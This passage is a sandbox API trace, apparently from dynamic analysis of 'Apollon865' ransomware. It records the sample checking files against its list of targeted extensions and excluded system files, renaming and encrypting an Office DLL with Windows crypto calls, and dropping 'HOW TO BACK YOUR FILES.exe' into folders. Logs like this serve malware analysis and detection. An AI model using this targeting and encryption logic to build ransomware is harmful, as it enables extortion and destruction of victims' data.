	[0082.631] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.631] lstrlenW (lpString="kdb") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.632] lstrlenW (lpString="kexi") returned 4
	[0082.632] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.632] lstrlenW (lpString="kexic") returned 5
	[0082.632] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.632] lstrlenW (lpString="kexis") returned 5
	[0082.632] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.632] lstrlenW (lpString="lgc") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.632] lstrlenW (lpString="lwx") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.632] lstrlenW (lpString="maf") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.632] lstrlenW (lpString="maq") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.632] lstrlenW (lpString="mar") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.632] lstrlenW (lpString="marshal") returned 7
	[0082.632] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.632] lstrlenW (lpString="mas") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.632] lstrlenW (lpString="mav") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.632] lstrlenW (lpString="maw") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.632] lstrlenW (lpString="mdbhtml") returned 7
	[0082.632] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.632] lstrlenW (lpString="mdn") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.632] lstrlenW (lpString="mdt") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.632] lstrlenW (lpString="mfd") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.632] lstrlenW (lpString="mpd") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.632] lstrlenW (lpString="mrg") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.632] lstrlenW (lpString="mud") returned 3
	[0082.632] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.633] lstrlenW (lpString="mwb") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.633] lstrlenW (lpString="myd") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.633] lstrlenW (lpString="ndf") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.633] lstrlenW (lpString="nnt") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.633] lstrlenW (lpString="nrmlib") returned 6
	[0082.633] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.633] lstrlenW (lpString="ns2") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.633] lstrlenW (lpString="ns3") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.633] lstrlenW (lpString="ns4") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.633] lstrlenW (lpString="nsf") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.633] lstrlenW (lpString="nv") returned 2
	[0082.633] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.633] lstrlenW (lpString="nv2") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.633] lstrlenW (lpString="nwdb") returned 4
	[0082.633] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.633] lstrlenW (lpString="nyf") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.633] lstrlenW (lpString="odb") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.633] lstrlenW (lpString="odb") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.633] lstrlenW (lpString="oqy") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.633] lstrlenW (lpString="ora") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.633] lstrlenW (lpString="orx") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.633] lstrlenW (lpString="owc") returned 3
	[0082.633] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.634] lstrlenW (lpString="p96") returned 3
	[0082.634] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.634] lstrlenW (lpString="p97") returned 3
	[0082.634] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.634] lstrlenW (lpString="pan") returned 3
	[0082.634] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.634] lstrlenW (lpString="pdb") returned 3
	[0082.641] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.641] lstrlenW (lpString="pdm") returned 3
	[0082.641] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.641] lstrlenW (lpString="pnz") returned 3
	[0082.641] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.642] lstrlenW (lpString="qry") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.642] lstrlenW (lpString="qvd") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.642] lstrlenW (lpString="rbf") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.642] lstrlenW (lpString="rctd") returned 4
	[0082.642] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.642] lstrlenW (lpString="rod") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.642] lstrlenW (lpString="rodx") returned 4
	[0082.642] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.642] lstrlenW (lpString="rpd") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.642] lstrlenW (lpString="rsd") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.642] lstrlenW (lpString="sas7bdat") returned 8
	[0082.642] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.642] lstrlenW (lpString="sbf") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.642] lstrlenW (lpString="scx") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.642] lstrlenW (lpString="sdb") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.642] lstrlenW (lpString="sdc") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.642] lstrlenW (lpString="sdf") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.642] lstrlenW (lpString="sis") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.642] lstrlenW (lpString="spq") returned 3
	[0082.642] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.642] lstrlenW (lpString="te") returned 2
	[0082.642] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.642] lstrlenW (lpString="teacher") returned 7
	[0082.642] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.642] lstrlenW (lpString="tmd") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.643] lstrlenW (lpString="tps") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.643] lstrlenW (lpString="trc") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.643] lstrlenW (lpString="trc") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.643] lstrlenW (lpString="trm") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.643] lstrlenW (lpString="udb") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.643] lstrlenW (lpString="udl") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.643] lstrlenW (lpString="usr") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.643] lstrlenW (lpString="v12") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.643] lstrlenW (lpString="vis") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.643] lstrlenW (lpString="vpd") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.643] lstrlenW (lpString="vvv") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.643] lstrlenW (lpString="wdb") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.643] lstrlenW (lpString="wmdb") returned 4
	[0082.643] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.643] lstrlenW (lpString="wrk") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.643] lstrlenW (lpString="xdb") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.643] lstrlenW (lpString="xld") returned 3
	[0082.643] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.643] lstrlenW (lpString="xmlff") returned 5
	[0082.643] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.643] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll.Apollon865") returned 83
	[0082.643] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.645] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.645] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=14688) returned 1
	[0082.645] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.646] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.647] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.647] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.647] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c60, lpName=0x0) returned 0x15c
	[0082.649] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c60) returned 0x100000
	[0082.653] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.653] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.653] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0082.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0082.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.654] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0082.654] CloseHandle (hObject=0x15c) returned 1
	[0082.654] CloseHandle (hObject=0x9c) returned 1
	[0082.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.655] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0
	[0082.655] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0082.655] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7cb0
	[0082.655] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036"
	[0082.655] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0082.655] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0082.655] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned 51
	[0082.655] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036"
	[0082.655] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0082.655] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0082.656] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0082.656] GetLastError () returned 0x0
	[0082.656] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0082.656] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0082.657] CloseHandle (hObject=0x10c) returned 1
	[0082.657] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0082.657] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0082.657] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb93c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb93c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0082.657] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0082.657] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0082.657] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0082.657] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb93c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb93c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.657] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0082.657] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0082.657] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0082.657] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0082.657] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1
	[0082.657] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0082.657] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.657] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".") returned 1
	[0082.657] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="..") returned 1
	[0082.657] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="windows") returned -1
	[0082.657] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0082.658] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="temp") returned -1
	[0082.658] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0082.658] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="boot") returned 1
	[0082.658] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ids.txt") returned -1
	[0082.658] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0082.658] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="perflogs") returned -1
	[0082.658] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="MSBuild") returned -1
	[0082.658] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0082.658] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*") returned 53
	[0082.658] lstrcpyW (in: lpString1=0x119e670, lpString2="ENVELOPR.DLL.trx_dll" | out: lpString1="ENVELOPR.DLL.trx_dll") returned="ENVELOPR.DLL.trx_dll"
	[0082.658] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0082.658] lstrlenW (lpString="Apollon865") returned 10
	[0082.658] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0082.658] lstrlenW (lpString=".dll") returned 4
	[0082.658] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".dll") returned 1
	[0082.658] lstrlenW (lpString=".lnk") returned 4
	[0082.658] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0082.658] lstrlenW (lpString=".ini") returned 4
	[0082.658] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".ini") returned 1
	[0082.658] lstrlenW (lpString=".sys") returned 4
	[0082.658] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".sys") returned 1
	[0082.658] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0082.658] lstrlenW (lpString="bak") returned 3
	[0082.658] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.658] lstrlenW (lpString="ba_") returned 3
	[0082.658] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.658] lstrlenW (lpString="dbb") returned 3
	[0082.658] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.658] lstrlenW (lpString="vmdk") returned 4
	[0082.658] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.658] lstrlenW (lpString="rar") returned 3
	[0082.658] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.658] lstrlenW (lpString="zip") returned 3
	[0082.658] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.658] lstrlenW (lpString="tgz") returned 3
	[0082.658] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.658] lstrlenW (lpString="vbox") returned 4
	[0082.659] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.659] lstrlenW (lpString="vdi") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.659] lstrlenW (lpString="vhd") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.659] lstrlenW (lpString="vhdx") returned 4
	[0082.659] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.659] lstrlenW (lpString="avhd") returned 4
	[0082.659] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.659] lstrlenW (lpString="db") returned 2
	[0082.659] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.659] lstrlenW (lpString="db2") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.659] lstrlenW (lpString="db3") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.659] lstrlenW (lpString="dbf") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.659] lstrlenW (lpString="mdf") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.659] lstrlenW (lpString="mdb") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.659] lstrlenW (lpString="sql") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.659] lstrlenW (lpString="sqlite") returned 6
	[0082.659] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.659] lstrlenW (lpString="sqlite3") returned 7
	[0082.659] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.659] lstrlenW (lpString="sqlitedb") returned 8
	[0082.659] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.659] lstrlenW (lpString="xml") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.659] lstrlenW (lpString="$er") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.659] lstrlenW (lpString="4dd") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.659] lstrlenW (lpString="4dl") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.659] lstrlenW (lpString="^^^") returned 3
	[0082.659] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.660] lstrlenW (lpString="abs") returned 3
	[0082.660] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.660] lstrlenW (lpString="abx") returned 3
	[0082.660] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.660] lstrlenW (lpString="accdb") returned 5
	[0082.660] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.660] lstrlenW (lpString="accdc") returned 5
	[0082.660] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.660] lstrlenW (lpString="accde") returned 5
	[0082.660] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.660] lstrlenW (lpString="accdr") returned 5
	[0082.660] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.660] lstrlenW (lpString="accdt") returned 5
	[0082.660] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.660] lstrlenW (lpString="accdw") returned 5
	[0082.660] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.660] lstrlenW (lpString="accft") returned 5
	[0082.660] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.660] lstrlenW (lpString="adb") returned 3
	[0082.660] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.660] lstrlenW (lpString="adb") returned 3
	[0082.660] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.660] lstrlenW (lpString="ade") returned 3
	[0082.660] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.660] lstrlenW (lpString="adf") returned 3
	[0082.660] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.660] lstrlenW (lpString="adn") returned 3
	[0082.660] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.660] lstrlenW (lpString="adp") returned 3
	[0082.660] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.660] lstrlenW (lpString="alf") returned 3
	[0082.660] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.660] lstrlenW (lpString="ask") returned 3
